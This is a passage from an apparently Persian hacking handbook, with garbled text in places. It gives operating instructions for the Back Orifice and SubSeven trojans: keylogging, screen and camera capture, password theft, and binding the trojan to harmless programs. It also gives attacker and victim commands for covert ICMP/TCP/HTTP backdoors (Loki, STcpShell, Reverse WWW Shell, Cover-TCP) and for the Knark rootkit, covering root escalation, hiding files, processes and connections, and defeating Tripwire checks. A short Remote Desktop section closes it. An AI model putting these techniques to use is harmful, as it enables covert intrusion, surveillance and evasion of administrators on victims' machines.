Keystorkeل متنی فایکدهنده به  سین سروي ماشیها را رو log نیا. ندک یم log پ شده را  ی ه متن در آن تاکن را یبه شما نام پنجره ا
 .دهد ینشان م

Keylog end 

 logging  ان دادنی پایبرا. رساند یان مید را به پايلکصفحه  logging تن از  يگ سید از سرو يلکصفحه ده م تفاده    'keylog stop' رن اس
 .دينک

mm capture aui / capavi 

 .ندک یضبط م aui لی فایکدئو به ی ویله ورودياز وس) در صورت موجود بودن( و صدا را دئویو

mm capture Frame / copframe 

 .ندک یضبط م bitmap لی فایکدئو به ی ویله وروديدئو را از وسیر ویتصو

mm capture screen / capscreen 

 .ندک یضبط مbitmap لی فایکدهنده را به  سین سرويش ماشی از صفحه نمایریتصو

mm List capture devices / listcaps 

  .ندک یست ميدئو را لی ویل ورودیوسا

mm play sound / sound 

  .ندک یم play دهنده سین سروي ماشیرا رو WAV لی فایک

Net connections / netlist 

  .ندک یست ميه را لک شبی و خروجیارتباطات ورود

Net delete / netdisconnect 

  .ندک یه قطع مک منبع شبیکدهنده را از  سین سرويارتباط ماش

Net use / netconnect 

  .سازد یه برقرار مک منبع شبیکدهنده را با  سین سرويارتباط ماش
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Net view / netview 

 .ندک یدهنده را مشاهده م سین سروي قابل مشاهده از ماشیهاexport ها و دهنده سیها، سرو ه، حوزهک شبیتمام رابطها

Pinghost / ping 

  .گرداند یرا بازم BO ن و شماره نسخهينام ماش. ندک یم ping زبان راين ميماش

plugin execute / plugin exeC 

plugin  یک Backorifice   د ک یرا اجرا م ال یاجرا . ن ا رابط  ک  ی اعم ن است موجب   ک مطابق نباشد مم   pluging Backorifice ه ب
  .دهنده گردد سیمختل شدن سرو

Pluging kill / pluginkill 

 .شود shutdown هکد یگو یخاص م plugin یکبه 

plugins list / pluginlist 

pluginیکا مقدار یند و ک یست مي فعال را لیها plugin  گرداند یه خارج شده است، بازمکرا. 

Process list / proclist 

 .ندک یست مي را لیی اجرایندهایفرآ

Process spawn / procspawn 

را م   ه را اج دک یبرنام د، فرآ    . ن ده باش شخص ش ارامتر دوم م ر پ صورت یاگ د ب ک ن اد ی فرآی د ع را م یداری و دین ردد ی اج در . گ
 .شود یا جدا اجرا میو  یند بصورت پنهانینصورت فرآیرايغ

Redir add / rediradd 

  .دهد یر مير مسييتغ ip گریرا به آدرس د udp یهاpacket ای و یورود TCP ارتباطات

Redir del / redirdel 

 .سازد ی پورت را متوقف میکر ير مسييتغ

Redir list / redirlist 

  .ندک یست مي پورت فعال را لیرهاير مسييتغ

Reg Create key / regmakekey 

  .ندک یجاد مید ايلک یک registry در

 .ديرا قرار نده\\ار ، مقدregistry ری مقادی، براregistry یدر مورد تمام فرمانها: توجه

Regdelete key / regdelkey 

  .ندک یحذف م registry د را ازيلک یک
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Regdelete value / regdelval 

  .ندک یحذف م registry  مقدار را ازیک

Reglist keys / reglistkeys 

  .ندک یست ميرا ل registry ديلک یک ی فرعیدهايلک

Reg list values / reglistvals 

 .ندک یست ميرا ل registry ديلک کیر یمقاد

Reg set value / regsetval 

. شوند  ین ميي مقدار تعیها آمده است و سپس داده) ،(اما کبدنبال  هک یر برحسب نوعیمقاد. دهد ی را قرار میمقدار registry ديلک یبرا
اد یسریک، مقدار (B نوع (ینریر بایمقاد در مورد ا  یر دو رقم ی از مق ر مبن انز ی ب اد  . است  ده ش ورد مق وع ) DWORD ریدر م ، (D ن

 . استی رشته متنیک، مقدار (S نوع (یا ر رشتهیمقاد در مورد. مال استي عدد دسیکمقدار 

Resolve host / resolve 

ده  سین سرو ين را در رابطه با ماش ي ماشیکنام  ip آدرس د ک یم resolve دهن ام ماش   .ن ام     ین م ين د ن ان ا ي میک توان ام  ی نترنت و  یزب ا ن
 .باشد یه محلک شبیکن يماش

system dialogbox / dialog 

ادر ک دخواهي یه مک به هر تعداد دتواني یشما م. ندک یجاد میا 'OK' مهکه شده و ديدهنده با متن ته  سین سروي ماشیالمه روکادر مک یک
 .رنديگ  ی پشت سرهم قرار میادر قبلک یها در جلو ادرکن ید، اينک جادیالمه اکم

system info / info 

ام ماش    ینما اطلاعات به. دهد یش میدهنده نما سین سروي ماشیستم را براياطلاعات س ده شامل ن وع یاربر جار ک ن، يش درآم ، CPU ، ن
ا cd-romثابت، ) ویو شامل نوع درای در مورد درایندوز و اطلاعاتی در مورد نسخه ویاطلاعات ،یلکحافظه موجود و   یی، قابل جابه ج

 .باشد یو می درای خالیاندازه و فضا  ثابت،یوهایو در رابطه با درا) ه دورا رای

System lockup / lockup 

 .ندک یم lockup دهنده را سین سرويماش

System passwords / passes 

Passwordیها Cash ویاربر جارک یشده برا  password دهد ینشان م ش رایمحافظ صفحه نما. passwordده  شی به نمایها  درآم
 .اضافه داشته باشند یها ن است در آخرشان دادهکمم

System reboot / reboot 

  .ندک ی میانداز ند و مجدد آن را راهک یم Shutdown دهنده را سین سرويماش

TCP file Send / TCPsend 

ه    سین سرويماش ده را ب رتبط م     ip یک دهن ورت خاص م وا  ک یو پ د و محت اط را قطع     فر یل مشخص شده را م   ی  فاین تد و سپس ارتب س
 .ندک یم
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ل از آن یخاص با Port و ip ، آنTCP  لی انتقال فایبرا: توجه • ان ک د قب ن   fail ای ارسال و   TCP لی فا ه فرم ردد، ش ده شوند  يگ
 . استیل دسترسیفا win32 یو هم برا UNIX یه براکاست  netcat لهایفا  انتقالید برايمف Utility یک

 .دهنده فرستاده شوند سیاز سرو netcat-1-p666<file :هي شبیبا گرامر netcat و TCP ستفاده از فرمان ارسالتوانند با ا یلها میفا

ا گرامر   netcat و TCP لی افت فا یتوانند با استفاده از فرمان در یلها میفا ب یب ه سرو   netcat-1-p666>file :هي ش تاده    سیب ده فرس دهن
 .شوند یم

ه پا ک یزمانتا  win32 ،netcat نسخه: توجه اط نم   ی   برسد خارج و  یل ورودی ان فای ه ب ل ی ات فای ه محتوک پس از آن . شود  یا قطع ارتب
 .ديان ببخشیپا ctrl-c ای ctrl-break را با netcatمنتقل شد، 

Boconfig: 

Boconfig.exe      ه شما اجازه م ا   یب د ت را  Option ده ا را ب ده  سی سرو یک  یه ل از آن  bo دهن د يکه نصب شود، پ  ک قب  .دي نک یربن
Boconfig هک است یه نامک ییاجرا از شما در مورد نام Back orifice رد، سوال  کخواهد  ستم نصبي سیتورکریبا آن خود را در دا

 .ندک یم

. ردک را اضافه نخواهد   exe  ،Boconfig. د،ينکل استفاده یختم شود، اما اگر شما از پسوند فا exe. به Boconfig هک ندارد یضرورت
ع کند ک یسوال م exe فير مورد توصسپس د ا registry را در exe هک  است  یفيتوص  ه در واق ان راه ک  یی، ج داز  ه از زم   شروع یان

د  یشود، شرح م    یم  ورت   . ده ورد پ ا   سیه سرو ک  یسپس در م ده از آنج ا را paket  دهن ن   ه د ش ورد   ک ید سوال م  يخواه د و سپس در م  ن
passwordراک یا ذاریه ب تفاد  از آنی رمزگ د اس د یرد مکه خواه را. پرس راریب رو ی برق ا س اط ب ا  سی ارتب ده ب تفاده از  دهن اس

د ته   یز م ي ن نی ا.  شودیربنديکپ مشابه password د با همانیرنده بايگ سیرنده، سرويگ سیسرو الاخره،  .  باشد یتوان در  Boconfigو ب
ه ي  سیتورکریدهنده متصل شود و در دا سیتواند به سرو یه مکل یر فايمس مورد وان  ستم ب ا Start عن ده نوشته م    سی سرو یه شود،   یدهن

 .شود یمStart ارکه بطور خودکباشد  Backorifice یک plugin تواند ین میا. ندک یسوال م

شود   یدچار نقصان م password  بدون٧٣٣١٣ پورت ی ارتباط رویند، در برقرارک یار مک شدن یربنديکه بدون پک یا دهنده سیسرو
 .ندک ینصب م "exe." تو خود را بصور

 :لاتکمسائل و مش

 رهيشود، ذخ یدهنده در آن اجرا م سین سرويه ماشک یسليکو عمق پ resolution در هر bitmap :MM ش ضبطیصفحه نما •
 يکی  گرافیاربردک  یها ثر برنامهکا. د شونديتول تي ب٢۴ا یت ي ب١۶ رنگ یتوانند با عمقها یها مbitmapجه، يدر نت. گردد یم

دهند  ی نشان نمیدرست ستند و آن را بهين bitmap ردنکload نند و قادر بهک را اداره یتي ب٣٢ا ی ٨ یهاbitmap توانند ی متنها
را  Graphics workshop ن شامل ی ا( دوز ی ویب ا و  ی توز WANG Imaging, photoshop ن دوز م  یع شده ب ). شود  ین

 . آن را نشان خواهد داددیآ یم Windows ه به همراهک Paint.exe بهرحال، برنامه

 

• logging  ندوزیظاهراً و: ديلکصفحه ms-dos انع ک ام است يفاقد حلقه پ ردد   ی م ییدهاي لکشدن   log ه م ا تا ک گ پ ی ه درون آنه
 .گردد یم

سييتغ • ه ير م د -TCP(App add) ی متنیاربردکر برنام ود داردکن اشیچن ام. ال وج ا Command.com هک یهنگ  ب
handleزي ستم ني شود، س  یجاد میاش ا افتهی رير مسيي تغیها REDIR32.EXE  ا پا ک اط ظاهر  ی ه ت اد  یشود را ا  ینم  ان ارتب ج

دل  ک  OS رسد رابط   یبنظر م. (دینما یم ا م اط Tsr ه ب رار م   ارتب د در ک یبرق ا   یم  dos session ،load ن ا handle شود ت  یه
ه سمت   رای و خروج یورود ا تغPipe ب دير مس يي ه ابرا ) ر ده اطن اگر شما  یبن ل از  TCP  ارتب ه ی ان ی پا را قب افتن برنام

د یاربردک برنامه  ') WINOA386.MOD و REDIR32.EXE ،(دينکا آن را خارج ی(د يان ببخشی، پایاربردک  ١۶('  یمی ق
ود   يبخش  انی ستم عامل قادر به پايو س Backorifice به اجرا شدن ادامه خواهد داد و (wrapper (یتيب د ب ا نخواهن ن ی ا. دن آنه
  .ماند ی میباق (...Please wait) شه دريهم شود و یز ميستم نيس shutdown سئله مانعم

ه نظر م   يهمچن  • ه ی از برخ یر دادن خروج ير مس يي رسد تغ  ین ب ا   از برنام و  FTP.EXE همچون ) Console یاربردک  یه
 .ل باشدکمش (boclient.exe متأسفانه
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 ٧٢٠    صفحه

   SUB7معرفی 
  
  

ات مسخره آن را ،       این ابزار خيلی لوس است و من به          ن امکان ا ای هيچ وجه از این خوشم نمياید ، بيشتر برای بچه ها ساخت شده است ب
  .کارای خوبی هم ندارد و من فقط یک مرور کلی ميکنم 

  

  
  

تنها جنبه برای پيکر بندی سرویس دهنده آن از ابزار همراه  ، آن استفاده ميکنيم ، من فقط یک مورد در این ابزار توضيح ميدهم ، چون               
سمت                  ی                  Bindان است که در وبلاگ های فارسی به آن اشاره نشده و ان هم ق ی ب ل اجرای د یک فای سمت شما ميتواني ن ق ه در ای  است ک

  ....را به فایل سرویس دهنده آن متصل کنيد و آن مخفی شود و ... و یا تقویم فارسی و !! خطر مثل یک ماشين حساب 
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 ٧٢١    صفحه

  
  

  !!!!!!!!!!!!ان کشف کنيد بقيه قسمت ها را هم خودت
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 ٧٢٢    صفحه

   Lokiمعرفی و آموزش 
  

تن روی    VNCبه غير از  ( صحبت کرده ایم     Windowsخوب اگر تا به حال اگر دقت کرده باشيد ما فقط تا به حال درباره                  که قابليت رف
  .  ميپردازیم ...، در این قسمت ما به ابزار های تحت یونيکس و )  هر دو پلت فرم را دارد 

  
ورد هدف در قالب               Lokiمکانيزم به کار رفته در ابزار         عبارت است از بسته بندی فرمان های مورد نظر جهت اجرا بر روی سيستم م

ه      .  که مابين دو ماشين کلاینت و سرور رد بدل ميشود            ICMPپيغام های    این برنامه بعد از کامپایل و اجرا یک شبح بوده و در پس زمين
ه از پروتکل              اجرا   ن برنام ل ذکر است چون ای د هيچ    ICMPميشود ، در نتيجه هيچ اثری از این برنامه وجود ندارد ، قاب تفاده ميکن  اس

  :برای ارتباط با برنامه و اجرا ان باید بنویسيم . گونه پورت بازی هم به وجود نمی آید 
  

attacker# ./loki -d <victim's IP address> 
  
  
  

  
   آدرس ماشين قربانی با بهره گيری از این ابزار در سمت کلاینت و سرورIPدستيابی به 

  
  

   .Ethereal آلوده هست را ميبينيد ، به وسيله ابزار Lokiدر شکل زیر نمای از استراق سمع از شبکه ای که به 
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 ٧٢٣    صفحه

  
  

وار آتش را   IDSد و قابليت رد شدن از    بسيار قوی ميباشICMPهمانگونه که قبلا اشاره شد این ابزار به علت استفاده از پروتکل           و دی
سته های        . به راحتی دارا ميباشد      ورت       ICMPالبته اگر در شبکه ب د از پ ند شما ميتواني ر شده باش ستم     UDP-53 فيلت ه سي ق ب ه متعل   ک

DNS          ميباشد استفاده نمایيد برای این منظور از سویيچ /swapt   تفاده از        یکی از شاخصه های     .  ميبایست استفاده نمایيد زار اس ن اب مهم ای
  رمزنگاری در هنگام انتقال داده ها ميباشد 
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 ٧٢٤    صفحه

  STcpShellمعرفی ابزار 
  

سته های اطلاعاتی    TCP، فقط از پروتکل     این ابزار هم مثل بالای است        ه   TCP استفاده ميکند و اساس کار آن بر مبنای جعل ب  است ک
ه               . کنند  اطلاعات را مابين کلاینت و سرور منتقل مي        ان مجازی ب رار دادن یک خط فرم ار ق زار دارد در اختي ن اب ه ای امکان دیگری ک

  . مهاجم است 
  

  
  

  :برای اجرای این ابزار در کامپيوتر قربانی می نویسيد 
  

victim# ./stcpshell 
  

  :و برای استفاده از این ابزار در کامپيوتر مهاجم می نویسيد 
  

attacker# ./stcpshell -c <server IP address> <client IP address> 
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 ٧٢٥    صفحه

  
   کش رفته شده است ما بين مهاجم و قربانیEtherealنمای یک جلسه که توسط 

  
  

  .این ابزار را ميتوانيد از آدرس زیر دریافت کنيد 
  

http://www.programmazione.it/knights 
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 ٧٢٦    صفحه

   :Reverse WWW Shell : HTTPمعرفی ابزار 
  
ود چون            ٨٠ برنامه از طریق پورت        این د ب اد خواه سيار زی  اتصال را برقرار ميکند به همين علت احتمال برقراری یک ارتباط موفق ب

برای این منظور شما اول باید برنامه را در سيستم خود نصب    !! هميشه این پورت باز است و گرنه ارتباط با خارج مفهوم زیادی ندارد              
د     ). در واقع این برنامه در سيستم شما حکم یک سرویس دهنده وب را دارا ميباشد     ( د  کنيد و آن را اجرا کني      ه را بای د از آن شما برنام بع

  )را دارد..  وFir Fox یا Operaدر آنجا ، یعنی روی قربانی برنامه حکم یک مرورگر وب مانند (بردارید و روی قربانی نصب بکنيد 
يد        بعد از این کار و انجام پيکربندی ص   ان باش ا خودت د منتظر تماس او ب ن  !! حيح هنگام نصب برنامه روی قربانی اجرا سد و شما بای ای

خوب هر  !!  ثانيه یک بار با شما تماس ميگيرد و دستورات شما را برای اجرا روی قربانی دریافت ميکند          ۶٠ابزار به طور معمول هر      
رد و          enter کليد  ثانيه بعد از زدن۶٠گاه شما یک دستوری را تایپ کنيد        ا خود ميب رای اجرا ب  برنامه به شما وصل شده و دستور را ب

ی ،      !!  دوباره بعد جواب و نتيجه اجرای دستور را برای شما ميآورد    ۶٠آنگاه   ی ، خيل اد است ، خيل سيار زی با این کار احتمال موفقيت ب
ار عادی است         ... و   زرگ وجود دارد و آن              !!! چون همه ک ا یک مشکل ب ه                   ام تادن و دریافت پاسخ است البت د فرس سيار کن د ب م رون ه

ق یک            .  ثانيه نيز وجود دارد      ۶٠منطقی هم است ولی امکان تغيير        انی از طری ه اگر قرب ن است ک ه ای ن برنام یکی از امکانات خوب ای
Proxy به شبکه وصل شود ، قادر است User IDياید  را هم سرقت کند تا در برقراری تماس با مشکلی پيش ن!!  
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 ٧٢٧    صفحه

   :Cover-TCPمعرفی ابزار 
زار                         رین اب ن ت ه خف  است ،  Cover-TCPخوب تا به حال فکر کرده اید که حتما عجب ابزار های خفنی موجود است ، اما عرض کنم ک

د   TCPاین ابزار از متد جاسازی اطلاعات در سرآیند بسته های         تفاده ميکن را .  اس د         ب ان ک ه هم زار اطلاعات را ک ن اب ن منظور ای ی ای
د های   ASCIIهای  د   TCP Acknowledgment Number و TCP Sequence و IP Identification است در فيل  جاسازی ميکن

ه   نيز استفاده کرد ، اما این ابزار فقط ق Source Port و یا Option و Unused و Window Size، اگر چه ميتوان از فيلد های  ادر ب
  .از این ابزار ميتوان هم در نقش سرویس دهنده ، و هم سرویس گيرنده استفاده کرد . استفاده از ان سه فيلد که اول گفتم است 

  
بعد از اجرای این برنامه شما در اولين اقدام حالت سرویس دهنده و سرویس گيرنده را انتخاب ميکنيد و با استفاده از یکی از سه سویيچ       

  :مه نوع انتقال خود را مشخص ميکنيد ، این سه سویيچ عبارتند از این برنا
  

 . منتقل ميشوند IP Identification ؛ که داده ها ز طریق فيلد ipid–سویيچ  .١
 . منتقل ميشوند TCP Sequence ؛ که داده ها از طریق ipid–سویيچ  .٢
 .ل ميشوند  منتقAcknowledgment Number ؛ که داده ها از طریق فيلد ack–سویيچ  .٣

  
د                 ipid–با استفاده از سویيچ      ن فيل ده شده و در ای دا خوان ا در مب شوند      ٢ داده ه تاده مي د و فرس رار ميگيرن ایتی ق ط یک      .  ب ار فق ن ک ا ای ب

  !!کاراکتر در هر ارسال فرستاده ميشود که بسيار عمل کندی است 
  

ادر است در    جاسازی شدهSeq No داده ها در فيلد ipid–با استفاده از سویيچ   و ارسال ميشوند ، این گزینه هم به مانند گزینه قبل فقط ق
  !!هر اتصال یک کاراکتر را منتقل کند و روش بسيار کندی است 

  
 بسيار سریعتر و مطمئن تر کار انجام ميشود ، البته در این نوع متد شما به یک ماشين سرویس دهنده هم که در         ack–استفاده از سویيچ      

ط                  !! رنت واقع شده باشد احتياج دارید       شبکه اینت  د ، بلکه فق اده سازی نداری رای آم ه آن ب البته هيچ نيازی به پيکر بندی خاص و یا نفوذ ب
ا                         ا پست الکترونيک و ی ن  ....   وFTPلازم است آن ماشين یک سرویسی را به عموم عرضه کنند ف مثل یک سرویس دهنده وب و ی ای

  .اده ميشود که در زیر هر سه مرحله تشریح شده است مدل انتقال در سه مرحله رخ د
  

سته های                 : مرحله اول    • ه از ب انی یک دنبال ر روی قرب ا ب ه م ان آدرس ماشين       TYCP-SYNبرنام ه هم ی ک دا جل ا آدرس مب  ب
الا گ    ( نفوذگر است ارسال ميکند به سمت ماشين سرویس دهنده عمومی            ه در ب ه شد   هر ماشينی ميتواند باشد فقط با شرایط ک فت

د   )  گفته ميشودBounce Serverبه اینگونه ماشين ها  ورد نظر وجود          . ارسال ميکن ل م اراکتر از فای ا یک ک سته ه ن ب در ای
 .دارد 

و !!) البته اگر پورت مربوطه باز باشد که باز هم نباشد مسئله ای نيست         (ماشين واسط چون چيزی نخواسته بوده       : مرحله دوم    •
 به ماشين نفوذگر ارسال خواهد شد و وی SYN-ACK یک بسته SYNده ، در پاسخ به هر بسته       دریافت کر  SYNیک بسته   

د                  سته باشد یک              !! یک کاراکتر از فایل مورد نظر خود را بدون هيچ گونه ردپایی دریافت ميکن ورد نظر ب ورت م حال اگر پ
د      ١١٠خوب ما ( دریافت ميکند    RESETبسته   ن فيل ه ای يم ک سته های ارسال و         بار در فصل اول گفت ام ب ا در تم ورد نظر م م

 !! )دریافتی هميشه مطابق با ان چيزی است که فرستنده ميفرستد 
دا را    IDS ها و  logماشين مهاجم حال دارد بشکن ميزند چون تمام         : مرحله سوم    • ده خ ده بن  ها دارند آدرس ماشين سرویس دهن

 ....ثبت ميکنند نه آدرس او را و 
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 Knarkفی ابزار معر
  
  

شود جز دسته         ن را مي ع ای وکس ميباشد ، در واق ا برشمرد   Root Kitیکی از بهترین گزینه ها برای لين دیر      .  ه رای یک م زار ب ن ب ای
رای هسته های               !! شبکه مثل یک کابوس ميباشد و برای ما یک ویرانگر بدون سر صدا است                سخه مخصوص آن ب ازگی ن م   ٢٫۴به ت  ه

 نوشته شده اند قابليت اجرا را هم روی هسته        ٢٫٢شده ولی اگر بدست تان نرسيد نگران نباشد نسخه های که برای هسته              در شبکه منتشر    
سترده        . اما نسخه تخصصی آن چيز دیگری است !!  را دارا ميباشند    ٢٫۴های   ه صورت گ ه ب زار را ک ن اب ما در اینجا نسخه عمومی ای

  . می باشد٢٫٢ که همان نسخه هسته نيز در شبکه منتشر شده بررسی ميکنيم 
  

  
  

  !! تمام آرزو های شما در یک لحظه برآورده ميشود بمببه محض اجرای این 
  

  ياراتتافزايش اخ •
  

ه                             دیر است ب ع م ا در بعضی مواق ا حق دسترسی محدود ی اربر ب این ابزار به محض اجرا ترتيبی ميدهد تا مهاجم که ممکن است یک ک
ه رد                       تغيير ح  ROOTحالت اصلی    وده و هيچگون ه ب املا مخفيان ات ک ن عملي الت دهد بدون آنکه حتی کوچکترین احراز هویتی شود ، ای

رای شما      SUاگر از فرمان !! (پای از شما به جا نمی ماند و هيچ چيز در مکانيزم ثبت وقایع به ثبت نميرسد   ی ب د کل تفاده کني  LOG اس
  .ميباشد نحوه انجام این کار به صورت زیر ) درست ميشود

victim$ ./rootme /bin/bash 
victim# 

  
  . که نماینده مدیر سيستم هست تغيير یافته # به علامت اعلان $ملاحظه ميفرمایيد که علامت اعلان 

  
  

  پنهان سازی فايل و شاخه ها  •
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انبی و    برای . شما ميتوانيد با این ابزار کل یک شاخه و یا یک یا چند فایل مورد نظر خود را مخفی کنيد           زار ج د از اب این منظور ميتواني

  :برای این منظور از فرمان زیر استفاده ميکنيد .  استفاده کنيد hidefهمراه آن با عنوان 
  

victim# ./hidef <filename> 
  

  و برای مشاهده فایل های مخفی شده می نویسيد 
  

victim# ./unhidef <filename> 
  

    های در حال اجراProcessمخفی کردن  •
  

شود                          وی باشد ، هر شحصی وسوسه مي وقتی شما به سطح مدیر سيستم رسيدید و قربانی شما دارای پهنای باند مناسبی و یا پردازشگر ق
ورد نظر خود و اجرای                 ه های م تادن برنام ه فرس از این دو امکان ذی قيمت برای مقاصد پليد خود حداکثر استفاده را ببرد ، و شروع ب

ه           Kanarkاليت ها مينماید ، در این هين        انها برای ادامه فع     امکان محشری را در اختيار ما قرار ميدهد و ان مخفی کردن پردازش برنام
  :برای این کار مينویسيم .  اینگونه ابزار های شما مخفی از دید او ميماند PSبا این کار هنگام استفاده مدیر سيستم از فرمان . ها ميباشد 

  
victim# ./hidef /proc/PID 

  
  :برای دیدن دوباره برنامه ها و معکوس کردن این عمل باید بنویسيم 

  
victim# ./unhidef /proc/PID 

  
  

  پنهان کردن اتصال شبکه  •
  

ان            تفاده از فرم ا اس ه ب د است      netstatیکی دیگر از امکانات این ابزار مخفی کردن اتصالات است ک ایش در می آی ه نم ن   .   ب رای ای ب
زار خوب است          .  استفاده ميکند    nethideمه ار یک ابزار کمکی با نام        منظور این برنا   ن اب ام            . کارای ای ا تم د یک اتصال ی شما ميتواني

د     زار مخفی بکني ن اب ا ای ستم ب دیر سي د م ا یک ماشين را از دی د  . اتصالات ب تفاده ميکني ر اس ن منظور از دستور زی رای ای ا . ب ثلا م م
  : را پنهان کنيم ، پس مينویسيم ١٩٢٫١۶٨٫١٫١٠٠ شماره IP با ماشينی با ميخواهيم تمام ارتباطات خود را

  
victim# ./nethide "192.168.1.100" 

  
  ):UDPد یا a باTCPچه ( اگر بخواهيم تمام اتصالاتی را که با یک شماره پورت خاص برقرار ميشود پنهان کنيم ، مينویسيم 

  
victim# ./nethide ":2222" 
 

  :بخواهد هيچ چيز را پنهان نکند و به وضعيت قبل برگردد مينویسد .... ) عذاب وجدان و یا مشکلات فنی  و (  هر دليلی اگر نفوذ گر به
  

victim# ./nethide -c 
 

  !!تغيير هويت فرمان های اجرايی  •
  

ميکنيم ، خدا من  ) مخلوط یا محلول     (  خيلی مرگبار ، با این کف خون مدیر سيستم در کمتر از چند ميليارد ميم ثانيه قاطی                 این یکی واقعاً  
  .  …البته من این ها را ميگم مدیر ها نگویند این ها خيال بافی است  و. ببخشد که این کارا دارم یادتان ميدهم 

  
ام                 ه ن ه              . eredیکی دیگر از ابزار های جانبی این ابزار برنامه ای است ب ان های اجرای را انگون د هویت فرم زار ميتوان ن اب ا   ای ه م  ک

زار          اليش است و ار اب ز ح داری چي ا یک مق انی م رای چک   Trip wireميخواهيم تغيير بدهد ، مثلا ما فرض ميکنيم مدیر سيستم قرب  ب
ردیم سر         . (استفاده ميکند ...  ها و Root Kitکردن سيستم خود به منظور کشف  ا برگ زنم ت اده ب ال س تا اینجا را داشته باشيد من یک مث

  )اصل ماجرا
  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٧٣٠    صفحه

ان                   eredخوب متوجه شدیم که ابزار       ا اجرای فرم ثلا ب ه م ن صورت ک ه ای د ب م تعویض کن ا ه  cat ميتواند هویت اجرای برنامه ها را ب
  : به صورت زیر ميباشد eredشکل عمومی انجام اینگونه اعمال با برنامه !!  اجرا شود rmفرمان 

  
victim# ./ered <from command> <to command> 

  
دهيم         Trip wireمدیر سيستم ما از ابزار خوب حال  ه ان صفا مي ی خطر ب ه ب !!  استفاده ميکند ما تغيير این فرمان و اجرای یک برنام

 هر گونه فرمانی که منجر به فراخوان سيستمی ميشود را در سطح هسته به دام انداخته و به جای آن     eredطرز کار اینگونه است ابزار      
د            .  ميآورد  فرمان دیگری را به اجرا در      ده ک زار هاب چک کنن ا اب شود و شما ب ه هيچ وجه نمي با این کار منبع برنامه دستخوش تغيير ب

MD5 هم نميتوانيد پی به چيزی ببرید  .  
  

ه    ه        Trip wireخوب حال برای مثال ؛ برای گمراهی برنام ه طی آن برنام ر را ک ر هویت زی ات تغيي ه جای    md5sum عملي اجم ب  مه
  :به اجرا در ميآید توجه کنيد ) قربانی(علق به مدیر سيستم نسخه مشابه مت

  
victim# ./ered /usr/bin/md5sum /tmp/hackers.md5sum 

  
  :خوب برای برگشتن به حالت اوليه می نویسيم 

victim# ./ered -c 
  
  

  اجرای دستورات از راه دور  •
 

د               ادر خواهي د           بعد از اجرای این برنامه زیبا روی سيستم قربانی ق انی اجرا کني ر روی قرب رامين خود را از راه دور ب ود ف ن   . ب رای ای ب
  :شکل کلی دستورات به صورت زیر است .  استفاده می نمایم rexecمنظور از ابرار جانبی به نام 

  
attacker# ./rexec <Spoofed IP Address> <Victim IP Address> <Command> 

  
برای اجرا بر ) DNSپورت هميشه باز متعلق به  (۵٣ به شماره UDPد نظر را از طریق پورت        مور IPاین ابزار بسته های رسيده از       

  .و اینگونه دستور شما روی ماشين قربانی به اجرا در می آید  . روی ماشين قربانی به آن ماشين ارسال ميکند 
  
  
  

   Knark.oپنهان کردن ماجول  •
  

زار                     یک سری از مدیرانی که زیادی حرفه ای شده اند و           ه اب ی ب يم در حافظه هسته ممکن است پ اجول های مق ا چک کردن ليست م  ب
دازیم و       !! محبوب ما ببرند و شروع به پاک کردن سيستم عامل و نصب مجدد آن بکنند                 برای اینکه این عزیزان را به زحمت اضافی نين
يم  خود را در حداکثر پوشش مخفيانه قرار دهيم اقدام به پا کردن ایم ماجول از ل      د       !! يست مزبور ميکن ذایی بای ن ليست ک شاهده ای رای م ب

البته یک راه دیگر هم وجود دارد اما مطمئن نيست و آن تغيير اسم این ماجول به یک اسم دیگر است ،        .  استفاده کرد    lomodاز فرمان   
ام نمی          که طوطی وار گونه کار یاد گرفته اند جواب ميدهد ولی ما چون              ) مدیران(و این برای آنهای      ار را انج ته ضد امنيت هستيم این ک

يم   تفاده ميکن يم و از یک روش اصولی اس زار !! ده ار ميگزارد ؛  Knarkاب ر را در اختي اجول ی modhide.o یک راه بهت وان م  عن
د                ان ميکن ر روی هسته را پنه ذاری شده ب ار گ ه     . است که آخرین ماجول ب د از نصب برنام ذا    Knarkپس بع ار گ ه منظور ب ن   ب ری ای

  .ماجول بر روی هسته سيستم عامل بلافاصله فرمان زیر را قبل از انجام هر کار دیگری مينویسيم 
  

victim# insmod modhide.o 
  

ه               !!!!!!!!! این فرمان با یک خطا همراه است که نشان موفقيت ما است              ر روی هسته برنام اجول ب ن م  را Knarkپس از بار گذاری ای
  .مجدد ميتوان حذف کرد تنها با راهاندازی 

  
زار های                   ه اب ونيکس و        Adore و   Lnorkاز دیگر گونه های مورد علاقه من با امکانات مشابه ميتوان ب وکس و ی رای لين  Plasmoid ب

  .برای سولاریس را نام برد 
  

  : دارای امکانات زیر است Adoreقابل ذکر است که 
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 مخفی نگه داشتن فایل ها .١
 امخفی نگه داشتن پروسه ه .٢
 مخفی کردن ارتباط ها و پورت ها .٣
 مخفی کردن نام ماجول خودش .۴
  ایجاد یک در پشتی .۵

  
   دارای امکانات زیر است Plasmoidابزار 

  
 ) این مبحث مورد کنکاش واقع شد BO2Kیکی از قابليت های (توانای تغيير مسير ترافيک  .١
 مخفی کردن فایل ها .٢
 مخفی کردن پروسه ها .٣

  
  

ط از               از   Knarkخوب از این بين      • ری را دارد و فق ات بهت ه آن       Plasmoidهر دو اینها امکان م دارد  ک  یک امکان ک
   !!!!!!!!!!!!Knarkپس هميشه و همه جا .  قابل رفع ميباشد DATAPIPEهم با ابزار 
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 : XP professional در ويندوز Remote Desktopنحوه استفاده از 

 کنيد یعنی براحتی بتوانيد صفحه دسکتاپ آن را Remoteيد از یک مکان دیگر سيستم منزل یا محل کار خود را آیا می خواه •
مشاهده نمایيد یا حتی یک برنامه خاص را در آن اجرا نمایيد و برروی سيستمی که پشت آن هستيد آن را نتایج اجرا را مشاهده 

  .نمایيد

 )چه خوب ! (  وجود دارد XP Professionalاین قابليت فقط در ویندوز 

ستم                       اط ، سي راری ارتب ه محض برق ه ب  Lock راه دور بطور اتوماتيک     در واقع شيوه کار این برنامه به نحوی است ک
ابع آن دسترسی                        و مادامی   می شود  که به آن مرتبط هستيد هيچ شخص دیگری نمی تواند به برنامه ها ، فایلها و سایر من

د های       يکههنگام  و    داشته باشد  شار دادن کلي ا ف د آن را ب  از CTRL+ALT+DEL به محل کارتان بازگردید می تواني
  .  خارج نمائيد Lockحالت 

 حتی در حالتی که دیگران  -  در یک زمان بر روی چند سيستم می باشد  loginاز دیگر ویژگی های این برنامه امکان 

  . تواند برنامه های آنها را بطور همزمان اجرا کند و کاربر می- کرده باشندLog inنيز به آن سيستم 

  

